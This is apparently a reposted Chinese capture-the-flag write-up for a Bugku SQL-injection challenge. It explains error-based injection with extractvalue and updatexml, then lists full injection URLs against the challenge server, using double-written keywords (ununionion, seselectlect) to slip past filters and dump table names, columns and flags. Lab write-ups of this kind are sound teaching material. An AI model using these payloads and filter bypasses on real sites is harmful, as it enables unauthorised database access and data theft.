bugku_多次------WP

参考博主:https://blog.csdn.net/qq_26090065/article/details/82708691
部分摘取自:https://space.bilibili.com/18638672?spm_id_from=333.788.b_765f7570696e666f.1
首先恶补知识点:
(1) group_concat函数返回一个字符串的结果,该结果由分组中的值连接而成,就是将所有的值在一行显示(一般查询的结果都分开显示)
(2) information_schema.*
information_schema是mysql中自带的数据库,保存着关于mysql服务器所维护的所有的其他数据库的信息,如:数据库名,数据库表,标蓝的数据类型与访问权限等
sql注入中常用到的有table表,coolumns表
(3) extractvalue()函数
mysql对XML文档进行查询和修改的一个函数

extractvalue(xml_flag,xpath_expr)
extractvalue()接受两个字符串的参数,一个是xml的标记片段xml_flag和一个xpath_expr(也称定位器):
这里xpath格式出现语法错误的话也会报错
这里就利用这个特性来获得我们想知道的内容

简单的说,报错注入就是故意使函数报错
然后利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

例如:
select extractvalue(’’,concat(’-’,(select version()))
这里获得mysql的版本,concat里面的‘-’只是一个分隔符的意思

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------分-----------------割------------------线-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

解题思路:
1,用御剑扫描后台,没有发现
2,从id=1下手,用burpsuit爆破,发现id=5时页面有提示存在sql注入
在这里插入图片描述
3:
id=5’ -----报错
id=5’ # --报错,换成id=5’ %23
id=5’ or 1=1 %23 报错!!!!这里考虑到字符串过滤,双写过滤or=oor过滤成功

判断字符串是否被过滤
!!!!注意,异或运算时:
!!!将id置为1;id=1
^(length(‘字符串’)!=0) 如果字符串被过滤那么页面显示正常,否则页面报错

字符串被过滤
正常显示

在这里插入图片描述

字符串未被过滤
报错
在这里插入图片描述
判断字段数
order by
得出有两个字段

查看回显点
!!!注意,查看回显点的时候要将id=-1
ununionion selselectect 1,2
查看数据库名字
在这里插入图片描述
循规蹈矩,依次查询table_name,table_column
http://123.206.87.240:9004/1ndex.php?id=-1%27%20ununionion%20seselectlect%201,group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%23

在这里插入图片描述
http://123.206.87.240:9004/1ndex.php?id=-1%27%20ununionion%20seselectlect%201,group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%22flag1%22%23
在这里插入图片描述
查看字段
1.第一个flag
http://123.206.87.240:9004/1ndex.php?id=-1%27%20ununionion%20seselectlect%201,group_concat(flag1)%20from%20flag1%23
在这里插入图片描述
2.查看address
http://123.206.87.240:9004/1ndex.php?id=-1%27%20ununionion%20seselectlect%201,group_concat(address)%20from%20flag1%23
在这里插入图片描述
点击查看下一关
正常注入顺序
order by 以后发现有两个字段
查看回显点 union select 1,2%23 报错
思路:判断报错原因:
1.存在字符串过滤union,尝试双写绕过,<>绕过,都报错
2.使用报错注入
报表名
and updatexml(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23
爆字段名
and updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag2’),’~’),3) %23

表名
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27%27),3)%20%23

在这里插入图片描述
字段名
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27flag2%27),%27%27),3)%20%23
在这里插入图片描述
查看信息
and updatexml(1,concat(’~’,(select 字段名 from 表名),’~’),3) %23

在这里插入图片描述

发布了5 篇原创文章 · 获赞 15 · 访问量 446

猜你喜欢

转载自blog.csdn.net/xiaoduanDDG/article/details/105256716
今日推荐